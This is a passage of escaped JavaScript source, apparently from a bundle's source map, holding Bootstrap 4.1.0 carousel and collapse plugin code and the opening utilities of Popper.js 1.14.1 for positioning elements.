    $(this._element).trigger(slidEvent)\n      }\n\n      if (isCycling) {\n        this.cycle()\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        let _config = {\n          ...Default,\n          ...$(this).data()\n        }\n\n        if (typeof config === 'object') {\n          _config = {\n            ..._config,\n            ...config\n          }\n        }\n\n        const action = typeof config === 'string' ? config : _config.slide\n\n        if (!data) {\n          data = new Carousel(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'number') {\n          data.to(config)\n        } else if (typeof action === 'string') {\n          if (typeof data[action] === 'undefined') {\n            throw new TypeError(`No method named \"${action}\"`)\n          }\n          data[action]()\n        } else if (_config.interval) {\n          data.pause()\n          data.cycle()\n        }\n      })\n    }\n\n    static _dataApiClickHandler(event) {\n      const selector = Util.getSelectorFromElement(this)\n\n      if (!selector) {\n        return\n      }\n\n      const target = $(selector)[0]\n\n      if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n        return\n      }\n\n      const config = {\n        ...$(target).data(),\n        ...$(this).data()\n      }\n      const slideIndex = this.getAttribute('data-slide-to')\n\n      if (slideIndex) {\n        config.interval = false\n      }\n\n      Carousel._jQueryInterface.call($(target), config)\n\n      if (slideIndex) {\n        $(target).data(DATA_KEY).to(slideIndex)\n      }\n\n      event.preventDefault()\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler)\n\n  $(window).on(Event.LOAD_DATA_API, () => {\n    $(Selector.DATA_RIDE).each(function () {\n      const $carousel = $(this)\n      Carousel._jQueryInterface.call($carousel, $carousel.data())\n    })\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Carousel._jQueryInterface\n  $.fn[NAME].Constructor = Carousel\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Carousel._jQueryInterface\n  }\n\n  return Carousel\n})($)\n\nexport default Carousel\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Collapse = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'collapse'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.collapse'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const Default = {\n    toggle : true,\n    parent : ''\n  }\n\n  const DefaultType = {\n    toggle : 'boolean',\n    parent : '(string|element)'\n  }\n\n  const Event = {\n    SHOW           : `show${EVENT_KEY}`,\n    SHOWN          : `shown${EVENT_KEY}`,\n    HIDE           : `hide${EVENT_KEY}`,\n    HIDDEN         : `hidden${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    SHOW       : 'show',\n    COLLAPSE   : 'collapse',\n    COLLAPSING : 'collapsing',\n    COLLAPSED  : 'collapsed'\n  }\n\n  const Dimension = {\n    WIDTH  : 'width',\n    HEIGHT : 'height'\n  }\n\n  const Selector = {\n    ACTIVES     : '.show, .collapsing',\n    DATA_TOGGLE : '[data-toggle=\"collapse\"]'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Collapse {\n    constructor(element, config) {\n      this._isTransitioning = false\n      this._element         = element\n      this._config          = this._getConfig(config)\n      this._triggerArray    = $.makeArray($(\n        `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n        `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n      ))\n      const tabToggles = $(Selector.DATA_TOGGLE)\n      for (let i = 0; i < tabToggles.length; i++) {\n        const elem = tabToggles[i]\n        const selector = Util.getSelectorFromElement(elem)\n        if (selector !== null && $(selector).filter(element).length > 0) {\n          this._selector = selector\n          this._triggerArray.push(elem)\n        }\n      }\n\n      this._parent = this._config.parent ? this._getParent() : null\n\n      if (!this._config.parent) {\n        this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n      }\n\n      if (this._config.toggle) {\n        this.toggle()\n      }\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    toggle() {\n      if ($(this._element).hasClass(ClassName.SHOW)) {\n        this.hide()\n      } else {\n        this.show()\n      }\n    }\n\n    show() {\n      if (this._isTransitioning ||\n        $(this._element).hasClass(ClassName.SHOW)) {\n        return\n      }\n\n      let actives\n      let activesData\n\n      if (this._parent) {\n        actives = $.makeArray(\n          $(this._parent)\n            .find(Selector.ACTIVES)\n            .filter(`[data-parent=\"${this._config.parent}\"]`)\n        )\n        if (actives.length === 0) {\n          actives = null\n        }\n      }\n\n      if (actives) {\n        activesData = $(actives).not(this._selector).data(DATA_KEY)\n        if (activesData && activesData._isTransitioning) {\n          return\n        }\n      }\n\n      const startEvent = $.Event(Event.SHOW)\n      $(this._element).trigger(startEvent)\n      if (startEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (actives) {\n        Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n        if (!activesData) {\n          $(actives).data(DATA_KEY, null)\n        }\n      }\n\n      const dimension = this._getDimension()\n\n      $(this._element)\n        .removeClass(ClassName.COLLAPSE)\n        .addClass(ClassName.COLLAPSING)\n\n      this._element.style[dimension] = 0\n\n      if (this._triggerArray.length > 0) {\n        $(this._triggerArray)\n          .removeClass(ClassName.COLLAPSED)\n          .attr('aria-expanded', true)\n      }\n\n      this.setTransitioning(true)\n\n      const complete = () => {\n        $(this._element)\n          .removeClass(ClassName.COLLAPSING)\n          .addClass(ClassName.COLLAPSE)\n          .addClass(ClassName.SHOW)\n\n        this._element.style[dimension] = ''\n\n        this.setTransitioning(false)\n\n        $(this._element).trigger(Event.SHOWN)\n      }\n\n      const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n      const scrollSize = `scroll${capitalizedDimension}`\n      const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n      $(this._element)\n        .one(Util.TRANSITION_END, complete)\n        .emulateTransitionEnd(transitionDuration)\n\n      this._element.style[dimension] = `${this._element[scrollSize]}px`\n    }\n\n    hide() {\n      if (this._isTransitioning ||\n        !$(this._element).hasClass(ClassName.SHOW)) {\n        return\n      }\n\n      const startEvent = $.Event(Event.HIDE)\n      $(this._element).trigger(startEvent)\n      if (startEvent.isDefaultPrevented()) {\n        return\n      }\n\n      const dimension = this._getDimension()\n\n      this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n      Util.reflow(this._element)\n\n      $(this._element)\n        .addClass(ClassName.COLLAPSING)\n        .removeClass(ClassName.COLLAPSE)\n        .removeClass(ClassName.SHOW)\n\n      if (this._triggerArray.length > 0) {\n        for (let i = 0; i < this._triggerArray.length; i++) {\n          const trigger = this._triggerArray[i]\n          const selector = Util.getSelectorFromElement(trigger)\n          if (selector !== null) {\n            const $elem = $(selector)\n            if (!$elem.hasClass(ClassName.SHOW)) {\n              $(trigger).addClass(ClassName.COLLAPSED)\n                .attr('aria-expanded', false)\n            }\n          }\n        }\n      }\n\n      this.setTransitioning(true)\n\n      const complete = () => {\n        this.setTransitioning(false)\n        $(this._element)\n          .removeClass(ClassName.COLLAPSING)\n          .addClass(ClassName.COLLAPSE)\n          .trigger(Event.HIDDEN)\n      }\n\n      this._element.style[dimension] = ''\n      const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n      $(this._element)\n        .one(Util.TRANSITION_END, complete)\n        .emulateTransitionEnd(transitionDuration)\n    }\n\n    setTransitioning(isTransitioning) {\n      this._isTransitioning = isTransitioning\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n\n      this._config          = null\n      this._parent          = null\n      this._element         = null\n      this._triggerArray    = null\n      this._isTransitioning = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      config.toggle = Boolean(config.toggle) // Coerce string values\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _getDimension() {\n      const hasWidth = $(this._element).hasClass(Dimension.WIDTH)\n      return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT\n    }\n\n    _getParent() {\n      let parent = null\n      if (Util.isElement(this._config.parent)) {\n        parent = this._config.parent\n\n        // It's a jQuery object\n        if (typeof this._config.parent.jquery !== 'undefined') {\n          parent = this._config.parent[0]\n        }\n      } else {\n        parent = $(this._config.parent)[0]\n      }\n\n      const selector =\n        `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n\n      $(parent).find(selector).each((i, element) => {\n        this._addAriaAndCollapsedClass(\n          Collapse._getTargetFromElement(element),\n          [element]\n        )\n      })\n\n      return parent\n    }\n\n    _addAriaAndCollapsedClass(element, triggerArray) {\n      if (element) {\n        const isOpen = $(element).hasClass(ClassName.SHOW)\n\n        if (triggerArray.length > 0) {\n          $(triggerArray)\n            .toggleClass(ClassName.COLLAPSED, !isOpen)\n            .attr('aria-expanded', isOpen)\n        }\n      }\n    }\n\n    // Static\n\n    static _getTargetFromElement(element) {\n      const selector = Util.getSelectorFromElement(element)\n      return selector ? $(selector)[0] : null\n    }\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $this   = $(this)\n        let data      = $this.data(DATA_KEY)\n        const _config = {\n          ...Default,\n          ...$this.data(),\n          ...typeof config === 'object' && config\n        }\n\n        if (!data && _config.toggle && /show|hide/.test(config)) {\n          _config.toggle = false\n        }\n\n        if (!data) {\n          data = new Collapse(this, _config)\n          $this.data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n    if (event.currentTarget.tagName === 'A') {\n      event.preventDefault()\n    }\n\n    const $trigger = $(this)\n    const selector = Util.getSelectorFromElement(this)\n    $(selector).each(function () {\n      const $target = $(this)\n      const data    = $target.data(DATA_KEY)\n      const config  = data ? 'toggle' : $trigger.data()\n      Collapse._jQueryInterface.call($target, config)\n    })\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Collapse._jQueryInterface\n  $.fn[NAME].Constructor = Collapse\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Collapse._jQueryInterface\n  }\n\n  return Collapse\n})($)\n\nexport default Collapse\n","/**!\n * @fileOverview Kickass library to create and place poppers near their reference elements.\n * @version 1.14.1\n * @license\n * Copyright (c) 2016 Federico Zivolo and contributors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\nvar isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';\nvar longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nvar timeoutDuration = 0;\nfor (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nfunction microtaskDebounce(fn) {\n  var called = false;\n  return function () {\n    if (called) {\n      return;\n    }\n    called = true;\n    window.Promise.resolve().then(function () {\n      called = false;\n      fn();\n    });\n  };\n}\n\nfunction taskDebounce(fn) {\n  var scheduled = false;\n  return function () {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(function () {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nvar supportsMicroTasks = isBrowser && window.Promise;\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nvar debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;\n\n/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nfunction isFunction(functionToCheck) {\n  var getType = {};\n  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';\n}\n\n/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nfunction getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  var css = getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n\n/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nfunction getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nfunction getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body;\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body;\n    case '#document':\n      return element.body;\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n\n  var _getStyleComputedProp = getStyleComputedProperty(element),\n      overflow = _getStyleComputedProp.overflow,\n      overflowX = _getStyleComputedProp.overflowX,\n      overflowY = _getStyleComputedProp.overflowY;\n\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n\n/**\n * Tells if you are running Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @argument {number} version to check\n * @returns {Boolean} isIE\n */\nvar cache = {};\n\nvar isIE = function () {\n  var version = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'all';\n\n  version = version.toString();\n  if (cache.hasOwnProperty(version)) {\n    return cache[version];\n  }\n  switch (version) {\n    case '11':\n      cache[version] = navigator.userAgent.indexOf('Trident') !== -1;\n      break;\n    case '10':\n      cache[version] = navigator.appVersion.indexOf('MSIE 10') !== -1;\n      break;\n    case 'all':\n      cache[version] = navigator.userAgent.indexOf('Trident') !== -1 || navigator.userAgent.indexOf('MSIE') !== -1;\n      break;\n  }\n\n  //Set IE\n  cache.all = cache.all || Object.keys(cache).some(function (key) {\n    return cache[key];\n  });\n  return cache[version];\n};\n\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nfunction getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  var noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  var offsetParent = element.offsetParent;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  var nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n\nfunction isOffsetContainer(element) {\n  var nodeName = element.nodeName;\n\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;\n}\n\n/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nfunction getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nfunction findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;\n  var start = order ? element1 : element2;\n  var end = order ? element2 : element1;\n\n  // Get common ancestor container\n  var range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  var commonAncestorContainer = range.commonAncestorContainer;\n\n  // Both nodes are inside #document\n\n  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  var element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n\n/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nfunction getScroll(element) {\n  var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';\n\n  var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  var nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    var html = element.ownerDocument.documentElement;\n    var scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nfunction includeScroll(rect, element) {\n  var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n  var scrollTop = getScroll(element, 'top');\n  var scrollLeft = getScroll(element, 'left');\n  var modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n\n/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nfunction getBordersSize(styles, axis) {\n  var sideA = axis === 'x' ? 'Left' : 'Top';\n  var sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);\n}\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? html['offset' + axis] + computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')] + computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')] : 0);\n}\n\nfunction getWindowSizes() {\n  var body = document.body;\n  var html = document.documentElement;\n  var computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle)\n  };\n}\n\nvar classCallCheck = function (instance, Constructor) {\n  if (!(instance instanceof Constructor)) {\n    throw new TypeError(\"Cannot call a class as a function\");\n  }\n};\n\nvar createClass = function () {\n  function defineProperties(target, props) {\n    for (var i = 0; i < props.length; i++) {\n      var descriptor = props[i];\n      descriptor.enumerable = descriptor.enumerable || false;\n      descriptor.configurable = true;\n      if (\"value\" in descriptor) descriptor.writable = true;\n      Object.defineProperty(target, descriptor.key, descriptor);\n    }\n  }\n\n  return function (Constructor, protoProps, staticProps) {\n    if (protoProps) defineProperties(Constructor.prototype, protoProps);\n    if (staticProps) defineProperties(Constructor, staticProps);\n    return Constructor;\n  };\n}();\n\n\n\n\n\nvar defineProperty = function (obj, key, value) {\n  if (key in obj) {\n    Object.defineProperty(obj, key, {\n      value: value,\n      enumerable: true,\n      configurable: true,\n      writable: true\n    });\n  } else {\n    obj[key] = value;\n  }\n\n  return obj;\n};\n\nvar _extends = Object.assign || function (target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i];\n\n    for (var key in source) {\n      if (Object.prototype.hasOwnProperty.call(source, key)) {\n        target[key] = source[key];\n      }\n    }\n  }\n\n  return target;\n};\n\n/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nfunction getClientRect(offsets) {\n  return _extends({}, offsets, {\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height\n  });\n}\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nfunction getBoundingClientRect(element) {\n  var rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      var scrollTop = getScroll(element, 'top');\n      var scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    } else {\n      rect = element.getBoundingClientRect();\n    }\n  } catch (e) {}\n\n  var result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top\n  };\n\n  // subtract scrollbar size from sizes\n  var sizes = element.nodeName === 'HTML' ? getWindowSizes() : {};\n  var width = sizes.width || element.clientWidth || result.right - result.left;\n  var height = sizes.height || element.clientHeight || result.bottom - result.top;\n\n  var horizScrollbar = element.offsetWidth - width;\n  var vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    var styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n\nfunction getOffsetRectRelativeToArbitraryNode(children, parent) {\n  var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n  var isIE10 = isIE(10);\n  var isHTML = parent.nodeName === 'HTML';\n  var childrenRect = getBoundingClientRect(children);\n  var parentRect = getBoundingClientRect(parent);\n  var scrollParent = getScrollParent(children);\n\n  var styles = getStyleComputedProperty(parent);\n  var borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if (fixedPosition && parent.nodeName === 'HTML') {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  var offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    var marginTop = parseFloat(styles.marginTop, 10);\n    var marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n\nfunction getViewportOffsetRectRelativeToArtbitraryNode(element) {\n  var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n  var html = element.ownerDocument.documentElement;\n  var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  var width = Math.max(html.clientWidth, window.innerWidth || 0);\n  var height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  var scrollTop = !excludeScroll ? getScroll(html) : 0;\n  var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  var offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width: width,\n    height: height\n  };\n\n  return getClientRect(offset);\n}\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nfunction isFixed(element) {\n  var nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nfunction getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  var el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n}\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nfunction getBoundaries(popper, reference, padding, boundariesElement) {\n  var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;\n\n  // NOTE: 1 DOM access here\n\n  var boundaries = { top: 0, left: 0 };\n  var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport') {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  } else {\n    // Handle other cases based on DOM element used as boundaries\n    var boundariesNode = void 0;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      var _getWindowSizes = getWindowSizes(),\n          height = _getWindowSizes.height,\n          width = _getWindowSizes.width;\n\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  boundaries.left += 